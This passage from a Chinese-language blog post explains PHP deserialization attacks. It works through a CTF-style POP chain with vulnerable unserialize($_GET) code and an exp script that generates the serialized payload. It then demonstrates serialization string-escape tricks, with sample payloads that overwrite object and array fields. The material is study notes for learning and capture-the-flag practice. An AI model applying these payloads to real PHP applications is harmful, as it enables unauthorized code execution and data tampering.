class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">start_gg</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1-&gt;test1();</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Call</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">test1</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;mod1-&gt;test2();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">funct</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$test2</span>,<span class="variable">$arr</span></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="variable">$s1</span> = <span class="keyword">$this</span>-&gt;mod1;</span><br><span class="line">                <span class="variable">$s1</span>();</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">func</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod2 = <span class="string">&quot;字符串拼接&quot;</span>.<span class="keyword">$this</span>-&gt;mod1;</span><br><span class="line">        &#125; </span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">string1</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$str1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$str2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;str1-&gt;get_flag();</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;1&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GetFlag</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get_flag</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;flag:&quot;</span>.<span class="string">&quot;xxxxxxxxxxxx&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;string&#x27;</span>];</span><br><span class="line">unserialize(<span class="variable">$a</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<ol>
<li><code>string1</code>中的<code>__tostring</code>存在<code>$this-&gt;str1-&gt;get_flag()</code>，分析一下要自动调用<code>__tostring()</code>需要把类<code>string1</code>当成字符串来使用，因为调用的是参数<code>str1</code>的方法，所以需要把<code>str1</code>赋值为类<code>GetFlag</code>的对象。</li>
<li>发现类<code>func</code>中存在<code>__invoke</code>方法执行了字符串拼接，需要把<code>func</code>当成函数使用自动调用<code>__invoke</code>然后把<code>$mod1</code>赋值为<code>string1</code>的对象与<code>$mod2</code>拼接。</li>
<li>在<code>funct</code>中找到了函数调用，需要把<code>mod1</code>赋值为<code>func</code>类的对象，又因为函数调用在<code>__call</code>方法中，且参数为<code>$test2</code>,即无法调用<code>test2</code>方法时自动调用 <code>__call</code>方法；</li>
<li>在<code>Call</code>中的<code>test1</code>方法中存在<code>$this-&gt;mod1-&gt;test2();</code>，需要把<code>$mod1</code>赋值为<code>funct</code>的对象，让<code>__call</code>自动调用。</li>
<li>查找<code>test1</code>方法的调用点，在<code>start_gg</code>中发现<code>$this-&gt;mod1-&gt;test1();</code>，把<code>$mod1</code>赋值为<code>start_gg</code>类的对象，等待<code>__destruct()</code>自动调用。</li>
</ol>
<p>exp：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">start_gg</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1 = <span class="keyword">new</span> Call();<span class="comment">//把$mod1赋值为Call类对象</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1-&gt;test1();</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Call</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1 = <span class="keyword">new</span> funct();<span class="comment">//把 $mod1赋值为funct类对象</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">test1</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1-&gt;test2();</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">funct</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1= <span class="keyword">new</span> func();<span class="comment">//把 $mod1赋值为func类对象</span></span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$test2</span>,<span class="variable">$arr</span></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="variable">$s1</span> = <span class="keyword">$this</span>-&gt;mod1;</span><br><span class="line">                <span class="variable">$s1</span>();</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">func</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$mod2</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod1= <span class="keyword">new</span> string1();<span class="comment">//把 $mod1赋值为string1类对象</span></span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;        </span><br><span class="line">                <span class="keyword">$this</span>-&gt;mod2 = <span class="string">&quot;字符串拼接&quot;</span>.<span class="keyword">$this</span>-&gt;mod1;</span><br><span class="line">        &#125; </span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">string1</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$str1</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">$this</span>-&gt;str1= <span class="keyword">new</span> GetFlag();<span class="comment">//把 $str1赋值为GetFlag类对象          </span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;        </span><br><span class="line">                <span class="keyword">$this</span>-&gt;str1-&gt;get_flag();</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;1&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GetFlag</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get_flag</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;flag:&quot;</span>.<span class="string">&quot;xxxxxxxxxxxx&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$b</span> = <span class="keyword">new</span> start_gg;<span class="comment">//构造start_gg类对象$b</span></span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="variable">$b</span>)).<span class="string">&quot;&lt;br /&gt;&quot;</span>;<span class="comment">//显示输出url编码后的序列化对象</span></span><br></pre></td></tr></table></figure>

<p>还是不太熟，之后多练几个题吧。</p>
<h1 id="2-反序列化字符逃逸"><a href="#2-反序列化字符逃逸" class="headerlink" title="2.反序列化字符逃逸"></a>2.反序列化字符逃逸</h1><p>反序列化字符逃逸：</p>
<p>一共两种情况：一个是替换后导致序列化字符串变长，另一个就是替换后序列化的字符串变短。</p>
<p>此类题目的本质就是改变序列化字符串的长度，导致反序列化漏洞，这种题目有个共同点：</p>
<ol>
<li>php序列化后的字符串经过了替换或者修改，导致字符串长度发生变化。</li>
<li>总是<strong>先进行序列化</strong>，<strong>再进行替换修改操作</strong>。</li>
</ol>
<h2 id="一、替换后序列化字符串变长"><a href="#一、替换后序列化字符串变长" class="headerlink" title="一、替换后序列化字符串变长"></a>一、替换后序列化字符串变长</h2><p>示例代码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> str_replace(<span class="string">&#x27;bb&#x27;</span>, <span class="string">&#x27;ccc&#x27;</span>, <span class="variable">$str</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;aaaa&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$pass</span>=<span class="string">&#x27;123456&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$AA</span>=<span class="keyword">new</span> A();</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="variable">$AA</span>);</span><br><span class="line"><span class="variable">$res</span>=filter(serialize(<span class="variable">$AA</span>));</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$res</span>;</span><br><span class="line"><span class="variable">$c</span>=unserialize(<span class="variable">$res</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$c</span>-&gt;pass;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="comment">// out : O:1:&quot;A&quot;:2:&#123;s:4:&quot;name&quot;;s:4:&quot;aaaa&quot;;s:4:&quot;pass&quot;;s:6:&quot;123456&quot;;&#125;</span></span><br></pre></td></tr></table></figure>

<p>可以看到序列化字符串是以<code>;&#125;</code>来结尾，假若将这个加入序列化的字符串中，就会导致序列化的字符串提前闭合结束，丢弃掉后面的内容。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span> = unserialize(<span class="string">&#x27;O:1:&quot;A&quot;:2:&#123;s:4:&quot;name&quot;;s:5:&quot;aaaa&quot;;s:4:&quot;pass&quot;;s:6:&quot;123456&quot;;&#125;&#x27;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$a</span>;</span><br></pre></td></tr></table></figure>

<p>这里会出错，原因是因为他会把双引号当做字符串，而下一个是分号，没有闭合导致报错。</p>
<p>假如说上面的代码中<code>$name = &#39;aaaabb&#39;</code>，这时会进行替换，</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:<span class="number">1</span>:<span class="string">&quot;A&quot;</span>:<span class="number">2</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;name&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;aaaaccc&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;pass&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;123456&quot;</span>;&#125;</span><br></pre></td></tr></table></figure>

<p>而再次反序列化的时候就会出错，末尾的c是读取不到的，这样就形成了一个字符串的逃逸。也就是说每多加一个bb就会逃逸一个字符。那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。</p>
<p>假若在name处写一些其他的东西：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> str_replace(<span class="string">&#x27;bb&#x27;</span>, <span class="string">&#x27;ccc&#x27;</span>, <span class="variable">$str</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;&quot;;s:4:&quot;pass&quot;;s:6:&quot;hacker&quot;;&#125;&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$pass</span>=<span class="string">&#x27;123456&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$AA</span>=<span class="keyword">new</span> A();</span><br><span class="line"><span class="comment">//echo serialize($AA);</span></span><br><span class="line"><span class="comment">//echo &#x27;&lt;/br&gt;&#x27;;</span></span><br><span class="line"><span class="variable">$res</span>=filter(serialize(<span class="variable">$AA</span>));</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$res</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&#x27;&lt;/br&gt;&#x27;</span>;</span><br><span class="line"><span class="variable">$c</span>=unserialize(<span class="variable">$res</span>);</span><br><span class="line">print_r(<span class="variable">$c</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">out:</span><br><span class="line">O:<span class="number">1</span>:<span class="string">&quot;A&quot;</span>:<span class="number">2</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;name&quot;</span>;s:<span class="number">27</span>:<span class="string">&quot;&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;pass&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;hacker&quot;</span>;&#125;<span class="string">&quot;;s:4:&quot;</span>pass<span class="string">&quot;;s:6:&quot;</span><span class="number">123456</span><span class="string">&quot;;&#125;</span></span><br><span class="line"><span class="string">A Object ( [name] =&gt; &quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;pass&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;hacker&quot;</span>;&#125; [pass] =&gt; <span class="number">123456</span> )</span><br></pre></td></tr></table></figure>

<p>注意上面27的那个位置，还有就是可以看出pass仍然是123456。</p>
<p>这里主要是没有过滤，看下面的内容（<code>&quot;;s:4:&quot;pass&quot;;s:6:&quot;hacker&quot;;&#125;</code>的长度为27）：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&quot;;s:4:&quot;pass&quot;;s:6:&quot;hacker&quot;;&#125;&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$pass</span>=<span class="string">&#x27;123456&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">out:</span><br><span class="line">O:<span class="number">1</span>:<span class="string">&quot;A&quot;</span>:<span class="number">2</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;name&quot;</span>;s:<span class="number">81</span>:<span class="string">&quot;ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;pass&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;hacker&quot;</span>;&#125;<span class="string">&quot;;s:4:&quot;</span>pass<span class="string">&quot;;s:6:&quot;</span><span class="number">123456</span><span class="string">&quot;;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">A Object ( </span></span><br><span class="line"><span class="string">	[name] =&gt; ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc </span></span><br><span class="line"><span class="string">	[pass] =&gt; hacker )</span></span><br></pre></td></tr></table></figure>

<p>可以看到pass已经改为了hacker，成功逃逸。</p>
<h2 id="二、替换之后导致序列化字符串变短"><a href="#二、替换之后导致序列化字符串变短" class="headerlink" title="二、替换之后导致序列化字符串变短"></a>二、替换之后导致序列化字符串变短</h2><p>test的代码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">str_rep</span>(<span class="params"><span class="variable">$string</span></span>)</span>&#123;</span><br><span class="line">	<span class="keyword">return</span> preg_replace( <span class="string">&#x27;/php|test/&#x27;</span>,<span class="string">&#x27;&#x27;</span>, <span class="variable">$string</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$test</span>[<span class="string">&#x27;name&#x27;</span>] = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$test</span>[<span class="string">&#x27;sign&#x27;</span>] = <span class="variable">$_GET</span>[<span class="string">&#x27;sign&#x27;</span>]; </span><br><span class="line"><span class="variable">$test</span>[<span class="string">&#x27;number&#x27;</span>] = <span class="string">&#x27;2020&#x27;</span>;</span><br><span class="line"><span class="variable">$temp</span> = str_rep(serialize(<span class="variable">$test</span>));</span><br><span class="line">printf(<span class="variable">$temp</span>);</span><br><span class="line"><span class="variable">$fake</span> = unserialize(<span class="variable">$temp</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line"><span class="keyword">print</span>(<span class="string">&quot;name:&quot;</span>.<span class="variable">$fake</span>[<span class="string">&#x27;name&#x27;</span>].<span class="string">&#x27;&lt;br&gt;&#x27;</span>);</span><br><span class="line"><span class="keyword">print</span>(<span class="string">&quot;sign:&quot;</span>.<span class="variable">$fake</span>[<span class="string">&#x27;sign&#x27;</span>].<span class="string">&#x27;&lt;br&gt;&#x27;</span>);</span><br><span class="line"><span class="keyword">print</span>(<span class="string">&quot;number:&quot;</span>.<span class="variable">$fake</span>[<span class="string">&#x27;number&#x27;</span>].<span class="string">&#x27;&lt;br&gt;&#x27;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">output:(?name=whoami&amp;sign=hello)</span><br><span class="line">a:<span class="number">3</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;name&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;whoami&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;sign&quot;</span>;s:<span class="number">5</span>:<span class="string">&quot;hello&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;number&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;2020&quot;</span>;&#125;</span><br><span class="line">name:whoami</span><br><span class="line">sign:hello</span><br><span class="line">number:<span class="number">2020</span></span><br></pre></td></tr></table></figure>

<p>接下来使用name和sign间接修改number的值：</p>
<p>payload:<code>name=testtesttesttesttesttest&amp;sign=hello&quot;;s:4:&quot;sign&quot;;s:4:&quot;eval&quot;;s:6:&quot;number&quot;;s:4:&quot;2000&quot;;&#125;</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a:<span class="number">3</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;name&quot;</span>;s:<span class="number">24</span>:<span class="string">&quot;&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;sign&quot;</span>;s:<span class="number">54</span>:<span class="string">&quot;hello&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;sign&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;eval&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;number&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;2000&quot;</span>;&#125;<span class="string">&quot;;s:6:&quot;</span>number<span class="string">&quot;;s:4:&quot;</span><span class="number">2020</span><span class="string">&quot;;&#125;</span></span><br><span class="line"><span class="string">name:&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;sign&quot;</span>;s:<span class="number">54</span>:<span class="string">&quot;hello</span></span><br><span class="line"><span class="string">sign:eval</span></span><br><span class="line"><span class="string">number:2000</span></span><br></pre></td></tr></table></figure>

<p>将test全部替换为空，这样就导致原来正确的<code>&quot;;s:4:&quot;sign&quot;;s:54:&quot;hello</code>变为了name，而后面构造的恶意字符串达到了替换的效果。</p>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/09/24/IO_FILE/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-10-05
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/WEB/" title="WEB">
              <b>#</b> WEB
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/10/17/BUU-PWN-0x40-0x4F/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
